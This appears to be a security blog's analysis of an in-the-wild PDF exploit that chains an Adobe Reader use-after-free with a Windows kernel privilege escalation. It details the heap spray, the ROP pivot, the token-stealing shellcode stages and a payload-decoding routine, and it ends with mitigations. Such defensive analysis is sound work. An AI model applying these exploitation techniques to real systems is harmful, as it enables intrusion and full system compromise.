In our last post, we warned of a new Windows local privilege escalation vulnerability being used in the wild. We noted that the Windows bug (CVE-2013-5065) was exploited in conjunction with a patched Adobe Reader bug (CVE-2013-3346) to evade the Reader sandbox. CVE-2013-3346 was exploited to execute the attacker’s code in the sandbox-restricted Reader process, where CVE-2013-5065 was exploited to execute more malicious code in the Windows kernel.
In this post, we aim to describe the in-the-wild malware sample, from initial setup to unrestricted code execution.
CVE-2013-3346: Adobe Reader ToolButton Use-After-Free
CVE-2013-3346 was privately reported to ZDI by Soroush Dalili, apparently in late 2012. We could fine no public description of the vulnerability. Our conclusion that the sample from the wild is exploiting CVE-2013-3346 is based upon the following premises:
- CVE-2013-3346 is a use-after-free condition with ToolButton objects.
- The Adobe Reader patch that addresses CVE-2013-3346 also stops the in-the-wild exploit.
CVE-2013-3346 Exploitation: Technical Analysis
- Make a parent ToolButton with a callback CB
- Within the callback CB, make a child ToolButton with a callback CB2
- Within the callback CB2, free the parent ToolButton
The exploit script first chooses some parameters based upon the major version of Reader (version 9, 10, or 11):
Size of corrupted object
Address of pivot in heap spray
The address of a NOP gadget
Next, it sprays the heap with the return-oriented programming (ROP) attack chain and shellcode, triggers the freeing, and fills the hole left by the freed object with a pivot to the ROP attack chain.
The freed hole is filled with the following:
000: 41414141 ;; Padding … 01c: 0c0c08e4 ;; Address of pivot in heap spray 020: 41414141 ;; More padding … 37c: 41414141 ;; The size of the object is a version-specific parameter
The pivot can be observed with the following windbg breakpoint:
bp 604d7699 "!heap -p -a @esi; dd @esi-1c; .if (@eax != 0x0c0c08e4) gc; "
The following code shows the object before corruption:
address 02668024 found in _HEAP @ 1270000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02668000 0071 0000  02668008 0037c - (busy) 02668008 01278420 00000000 00000002 02a24008 02668018 02763548 00000360 02668008 60a917d4 02668028 00000000 60a917a8 00000000 00000000 02668038 60a91778 00000000 60a91768 0133ded4 02668048 00000001 01d9eb60 00000001 02668024 02668058 00000000 00000000 00000000 00000000 02668068 00000000 00000000 00000000 00000000 02668078 02f32e5c 00000002 00000004 00000000
After corruption, the freed hole has been filled by padding and the address into the heap at object plus 0x1c as follows:
address 02668024 found in _HEAP @ 1270000 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 02668000 0071 0000  02668008 0037c - (busy) 02668008 41414141 41414141 41414141 41414141 02668018 41414141 41414141 41414141 0c0c08e4 02668028 41414141 41414141 41414141 41414141 02668038 41414141 41414141 41414141 41414141 02668048 41414141 41414141 41414141 41414141 02668058 41414141 41414141 41414141 41414141 02668068 41414141 41414141 41414141 41414141 02668078 41414141 41414141 41414141 41414141
The heap-spray address points to the address of the pivot minus 0×328. This is because of the following instruction, which calls the address plus 0×328 as follows:
604d768d 8b06 mov eax,dword ptr [esi] … 604d7699 ff9028030000 call dword ptr [eax+328h] ds:0023:0c0c0c0c=90e0824a 1:009> dd @eax+0x328 0c0c0c0c 4a82e090 4a82007d 4a850038 4a8246d5 0c0c0c1c ffffffff 00000000 00000040 00000000 0c0c0c2c 00001000 00000000 4a805016 4a84420c 0c0c0c3c 4a814241 4a82007d 4a826015 4a850030 0c0c0c4c 4a84b49d 4a826015 4a8246d5 4a814197 0c0c0c5c 00000026 00000000 00000000 00000000 0c0c0c6c 4a814013 4a84e036 4a82a8df 41414141 0c0c0c7c 00000400 41414141 4a818b31 4a814197
And the pivot is set at 4a82e090, which sets the stack pointer to the attacker’s ROP chain as follows:
1:009> u 4a82e090 icucnv40!icu_4_0::CharacterIterator::setToStart+0x7: 4a82e090 50 push eax 4a82e091 5c pop esp 4a82e092 c3 ret
The exploit plays out in stages.
Stage 1: ROP
The exploit uses ROP to circumvent data execution prevention (DEP) features. All of the gadgets, including the pivot, are from icucnv40.dll. The ROP chain is one of three chains chosen by Reader major version (9, 10, or 11). The attacker uses a heapspray to place the pivot, ROP chain, and shellcode at predictable addresses. The ROP chain:
- Maps RWX memory with kernel32!CreateFileMappingA and kernel32!MapViewOfFile
- Copies Stage 2 shellcode to RWX memory with MSVCR90!memcpy
- Executes the shellcode
Stage 2: Shellcode
The shellcode exploits CVE-2013-5065 to set the privilege level of the Reader process to that of system, and then decodes an executable from the PDF, writes it to the temporary directory, and executes it.
Shellcode Technical Analysis
First, the shellcode copies a Stage 2.1 shellcode stub to RWX memory mapped to the null page.
0af: ntdll!NtAllocateVirtualMemory RWX memory @ null page 180: Copy privileged shellcode to RWX memory 183: Add current process ID to privileged shellcode
Next, the shellcode exploits CVE-2013-5065 to execute the Stage 2.1 shellcode in the context of the Windows kernel as follows:
19b: Trigger CVE-2013-5065 to execute stage 2.1 from kernel - : 1ff:
303: Stage 2.1 shellcode begins 3d6: PsLookupProcessByProcessId to get EPROCESS structure for Reader process 3e5: PsLookupProcessByProcessId to get EPROCESS structure for system 3f9: Copy EPROCESS.Token from system to Reader 3fd: Zero the EPROCESS.Job field
This process is documented well in a paper (PDF download) from security researcher Ronnie Johndas.
After returning from the kernel, the shellcode iterates over potential handle values, looking for the encoded PE file embedded within the PDF as follows:.
...: Find open handle to the PDF file by iterating over potential ...: handle values (0, 4, 8, ...) and testing that: 212: The handle is open and to a file with kernel32!SetFilePointer 21e: The file size is less than 0x1000 bytes with kernel32!GetFileSize 239: It begins with "%PDF" with kernel32!ReadFile 257: Allocate memory with kernel32!VirtualAlloc and 262: Read the PDF into memory with kernel32!ReadFile 26f: Find the encoded PE file by searching for 0xa0909f2 with kernel32!ReadFile
The shellcode decodes the PE file using the following algorithm and writes it to disk:
def to_u8(i): if i >= 0: return i return 0xff + i + 1 buf = buf[4:] # Skip the first four bytes for i in xrange(len(buf)): c = ord(buf[i]) c -= ((i)**2)&0xff # Subtract index^2 from character c = to_u8(c) # convert python number to uint8 c ^= 0xf3 # xor character with 0xf3 o.write(chr(c))
28f: Decode the PE file (algorithm supplied below) 2ad: Get the path to the temporary directory with kernel32!GetTempPathA 2bb: Request a temporary file with kernel32!GetTempFileNameA 2dd: Open the temporary file with kernel32!CreateFileA 2f0: Write decoded PE to temporary file with kernel32!WriteFile 2f4: Close the file
The shellcode executes the decoded PE file as follows:
2fe: kernel32!WinExec "cmd /c "
if(app.media.getPlayers().length >= 1) Q=~;
The attacker used a public tool (http://utf-8.jp/public/jjencode.html with “global variable name” = “Q”) to obfuscate the exploit. It works by building a dictionary that maps wonky names to hex digits as follows:
// Q=___:"0", $$$$:"f", __$:"1", $_$_:"a", _$_:"2", $_$$:"b", $$_$:"d", _$$:"3", $$$_:"e", $__:"4", $_$:"5", $$__:"c", $$_:"6", $$$:"7", $___:"8", $__$:"9" ;
// Q.$_ = "constructor" Q.$_= /*c*/(Q.$_=Q+"")[Q.$_$]+ // Q.$_ = the string "[object Object]" /*o*/(Q._$=Q.$_[Q.__$])+ // by indexing into Q.$_ /*n*/(Q.$$=(Q.$+"")[Q.__$])+ // by indexing into the string "undefined" /*s*/((!Q)+"")[Q._$$]+ // and so on... /*t*/(Q.__=Q.$_[Q.$$_])+ /*r*/(Q.$=(!""+"")[Q.__$])+ /*u*/(Q._=(!""+"")[Q._$_])+ /*c*/Q.$_[Q.$_$]+ /*t*/Q.__+ /*o*/Q._$+ /*r*/Q.$;
It goes on to acquire a reference to the Function object by accessing “”.constructor.constructor and calling the exploit code by Function(“the deobfuscated script”)(). The end result is an entirely indigestible script. Yuck!
Although the Adobe Reader sandbox for Windows XP has fewer restrictions compared to sandboxes in Windows 7, 8, and 8.1, it still has restricted tokens, limited Job settings, broker processes, and protection policies.
The difference is that the Windows integrity mechanism is not available in Windows XP. So the sandboxed process does not run in low-integrity mode.
But it still must bypass the sandbox protection on Windows XP to run privileged malicious code. As the following screenshot shows, the sandboxed process is not allowed to create a file in the currently logged in user’s desktop:
Figure 1: Sandboxing protection in Windows XP
In this case, the attacker exploits the NDProxy.sys vulnerability to obtain a higher privilege and bypass the Adobe sandbox protections.
For this kernel exploit (CVE-2013-5065), the attacker uses Windows’ NtAllocateVirtualMemory() routine to map shellcode to the null page. So enabling null-page protection in Microsoft’s Enhanced Mitigation Experience Toolkit (EMET) prevents exploitation. You can also follow the workaround posted on Microsoft’s TechNet blog or upgrade to a newer version of Windows (Vista, 7, 8, or 8.1).
Finally, updating Adobe Reader stops the in-the-wild malware sample by patching the CVE-2013-3346 vulnerability.
The CVE-2013-3346/5065 vulnerability works as follows:
- The pivot is executed, and the stack pointer is set to the ROP sled
- The ROP allocates shellcode in RWX memory and jumps to it
- The shellcode stub (Stage 2.1) is copied to the null page (RWX)
- The shellcode triggers CVE_2013-5065 to call Stage 2.1 from the kernel
- Stage 2.1 elevates privilege of the Adobe Reader process
- Back to usermode, the PE payload is decoded from the PDF stream to a temp directory
- The PE payload executes
See more here: